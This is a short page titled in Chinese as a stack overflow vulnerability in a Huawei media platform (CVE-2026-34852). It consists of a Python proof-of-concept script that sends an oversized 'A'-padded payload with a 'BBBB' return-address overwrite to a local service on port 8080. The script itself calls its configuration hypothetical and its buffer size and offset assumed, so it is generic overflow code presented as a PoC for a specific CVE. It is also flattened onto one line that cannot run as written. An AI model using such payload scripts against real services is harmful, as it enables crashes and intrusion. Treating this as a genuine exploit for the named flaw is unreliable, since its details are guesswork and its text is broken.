CVE-2026-34852 华为媒体平台栈溢出漏洞

# Proof of Concept (PoC) for CVE-2026-34852 Stack Overflow # This script demonstrates the concept of triggering a buffer overflow # by sending a large payload to a vulnerable local media service. import socket import struct import sys # Configuration for the vulnerable service (Hypothetical) TARGET_IP = '127.0.0.1' TARGET_PORT = 8080 # Vulnerable buffer size (Assume 256 bytes) BUFFER_SIZE = 256 # Offset to overwrite the return address (Assume 260) RET_OFFSET = 260 # Payload construction: # 1. Padding (A's) to fill the buffer # 2. Overwrite Return Address (BBBB) # 3. NOP sled + Shellcode (optional, for demonstration) padding = b'A' * BUFFER_SIZE ret_addr = b'B' * 4 # Overwriting EIP/RIP with 0x42424242 payload = padding + b'C' * (RET_OFFSET - BUFFER_SIZE) + ret_addr try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") # Establish connection to the local media service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print("[*] Sending malicious payload to trigger stack overflow...") # Simulating sending a malformed media header or command s.send(payload) print("[*] Payload sent. Check if the service crashed.") s.close() except Exception as e: print(f"[!] Error: {e}")